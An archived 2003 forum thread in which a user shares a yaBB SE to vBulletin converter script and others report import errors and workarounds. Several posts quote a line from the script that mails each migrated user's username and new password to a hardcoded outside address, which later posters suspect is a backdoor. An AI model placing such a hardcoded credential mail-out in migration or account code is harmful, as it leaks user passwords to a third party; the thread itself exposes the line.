vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vBulletin 2.x Beta Releases (https://vborg.vbsupport.ru/forumdisplay.php?f=5)
-   -   yaBB SE to vB converter (https://vborg.vbsupport.ru/showthread.php?t=48863)

ssc 02-12-2003 10:00 PM

yaBB SE to vB converter
 
I'm glad to sharing the script which I wrote for the import from yaBB SE.
It is tested on vB 2.2.9 and yaBB SE 1.4.0.

Just copy to your site, change settings.php and run yabbse2vb.php
You will see the instruction then.

Please use english language. German language is not updated there.

Use for your OWN RISK.

Special thanks to "Television Board.de (Boothby)" for the yaBB to vB converter.
My script is based on that. :)

timo_copts 02-14-2003 08:43 AM

realy
thank u veryyyyyyyyyyy much
iam search for it frome month ago
i will try it but i need to make upgrade to yabbse
i have yabbse v 1.0.0
it work with it?? or i make upgrade????

ssc 02-14-2003 11:09 AM

Im not specialist in yaBB SE 1.0 but it will work if DB structure the same.
I have tested it only on my forum.

please do the backup of database because I have tested it only once.
:classic:

timo_copts 02-14-2003 12:54 PM

ok
i iwll upgrade-->yabbse v 1.0 to v1.4
and i have vb v 2.2.9
as u do in ur forum
thanks

nferreri 02-14-2003 04:18 PM

hmm.. just tried this and seem to be getting this error by just running the member upgrade:

tendaven (Error: "Table 'oldforums.user' doesn't exist")
shelick (Error: "Table 'oldforums.user' doesn't exist")
Niada (Error: "Table 'oldforums.user' doesn't exist")

all members coming up the same..

my database is called oldforums...

not sure why it's trying to reference oldforums.user ???? i put in the config file that the name of the users table was members.

nferreri 02-14-2003 04:21 PM

also noticing sql syntax errors when trying to import their personal text with a ' in the field. these extra ' are interfering with the sql string so you might want to do a replace to get rid of those and strip 'em out.

gerges 02-16-2003 04:20 AM

when i try to convert threads i get this error


Table 'yabbse.forum' doesn't exist

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\functions.php on line 13

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\functions.php on line 30

SELECT yabbse_topics.*, yabbse_messages.* FROM yabbse_topics LEFT JOIN yabbse_messages ON (yabbse_topics.ID_FIRST_MSG=yabbse_messages.ID_MSG ) WHERE ID_BOARD=1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\functions.php on line 30


also for members get the error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\functions.php on line 23

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\yabbse2vb.php on line 91

may u help plz
regards
gerges

ssc 02-17-2003 09:48 AM

Gerges, please check the settings into 'settings.php' file.

nferreri 02-17-2003 06:37 PM

any fixes for my problems?

ssc 02-19-2003 10:41 AM

nferreri, seems that oldforums is your yaBB database but you have to specify your vB database.

nferreri 02-19-2003 06:58 PM

Yes, I have specified all the correct information in the settings file. I was looking through the code to try and find out what's wrong and am little confused by this line:

Quote:

$q="SELECT tmp_pass FROM user WHERE username='".$member["memberName"]."' AND email='".$member["emailADDress"]."'";
Where exactly is the tmp_pass field in the user table? I checked my table and I don't have that field.

nferreri 02-19-2003 08:07 PM

Quote:

mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");
A little unsure what this does too? mails username and password to sda@olc.ru? who's that?

tucklis 03-01-2003 04:02 PM

Is it possible to import just users with this hack? Also will it work for vbulletin 2.3.0?

Regards,
Kez

timo_copts 03-04-2003 07:44 AM

i have the same error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\yabbse2vb.php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\http://www.coptic\copts.com\www\boar...\functions.php on line 23


plz help us
iam and gerges
we check the settings into 'settings.php' file.its true

timo_copts 03-04-2003 07:53 AM

can any one help to fix this converter and thise error???

tucklis 03-04-2003 08:58 AM

I really need to use this convertor but it seems like there are still lots of errors in the hack...

tucklis 03-05-2003 02:50 PM

Has anyone successfully installed this hack??

timo_copts 03-05-2003 03:01 PM

can any one fixe this convert??fix it and make it importanty frome admin area

tucklis 03-05-2003 04:03 PM

Quote:

Originally posted by timo_copts
can any one fixe this convert??fix it and make it importanty frome admin area
Yeha, please can someone have a look at this - I will be eternally grateful!!!!!!!!!!

tucklis 03-06-2003 09:22 AM

Quote:

Originally posted by nferreri


mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

A little unsure what this does too? mails username and password to sda@olc.ru? who's that?


I got a reply regarding this on vbulletin.com:

It looks like the script creates a new password for each user and then is supposed to email them to the user - BUT it has been hardcoded to send the password to mentioned address.

Presumably the hacker forgot to revert this after testing it...

----------------------------------

Anyone else got any opinions?

fury 03-06-2003 12:06 PM

Try replacing it with this line:

mail("$member[1]","'$username': '$password'"," Your temporary password:\n $password");

It appears $member[1] is the index that is assigned to the user's email, so try that. However, this is only from a couple glances at the code. Try it out on a dummy YaBBSE at first like with just a couple of users or something.

tucklis 03-06-2003 01:11 PM

Thanks for your reply fury.

I tried running the script and it only converted a handful of threads and posts and no members :(

I tried it on yabbse ver 1.5 and vb ver 2.3.0. I think this may have something to do with it. Although I asked over at vb.com and they said 2.2.9 and 2.3.0 are very similar and it should effect it too much. Could this be the reason?

Thanks,
Kez

fury 03-06-2003 01:24 PM

2.2.9 and 2.3.0 are fairly similar - there are some new functions, templates and XSS fixes in 2.3.0 that aren't in 2.2.9, but the database schema for members, posts, threads is unchanged, in other words a converter built for 2.2.9 should technically work for 2.3.0 as well.

timo_copts 03-06-2003 01:52 PM

plz fury
why when i try convert mamber i got this error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\http://www.coptic\copts.com\www\boar...\yabbse2vb.php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\http://www.coptic\copts.com\www\boar...\functions.php on line 23
i chang settings.php all it
what i do it -1 or >0

Quote:

$forum_id="-1"; //Forum ID, -1 für die Hauptseite, eine Zahl > 0 für ein vorhandenes Forum
//Forum ID, -1 for Board Index, a Number > 0 for an existing forum

what i do in it?? -1 or >0 and why i got this error??

fury 03-06-2003 03:18 PM

Without the original author of the hack, I wouldn't know where to start. I don't know YaBB SE. Sorry, but it looks like everyone is stuck until ssc sees this thread. :(

timo_copts 03-08-2003 05:48 PM

any fixes for my problems?

nferreri 03-25-2003 04:10 PM

I gave up on this.. I used phpBB to convert my yabbse then converted phpBB to vB with the given converters... worked fine... This hack was just way too buggy and demanded too much time rewriting it.. I wouldn't recommend anyone to use it..

YaBBSE -> phpBB -> vB is the best way to go.

timo_copts 03-30-2003 09:33 PM

i try it but it not succeed
its more difficult

tucklis 03-31-2003 08:10 AM

I managed to get it to work but had to get a techy to rewrite parts of it...

timo_copts 03-31-2003 01:12 PM

i succeed convert member but manual by prog its name
EMS MYSQL MANGER2

ftp://ftp.ems-hitech.com/pub/softwar.../mymanager.zip

but it take 2 days work...i try to convert posts but i cant
:ermm: :ermm:

blacknight 04-29-2003 12:48 AM

So far I managed to convert all the posts, but haven't had as much luck with the members :-(

Katana Myronson 06-20-2003 06:13 PM

Will this work with YaBB SE 1.5.3?

Katana Myronson 06-20-2003 06:44 PM

Oh, what does this have to with the script?
PHP Code:

mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password"); 

I think i just found a backdoor. :P


All times are GMT. The time now is 02:45 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01117 seconds
  • Memory Usage 1,800KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_php_printable
  • (5)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (33)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete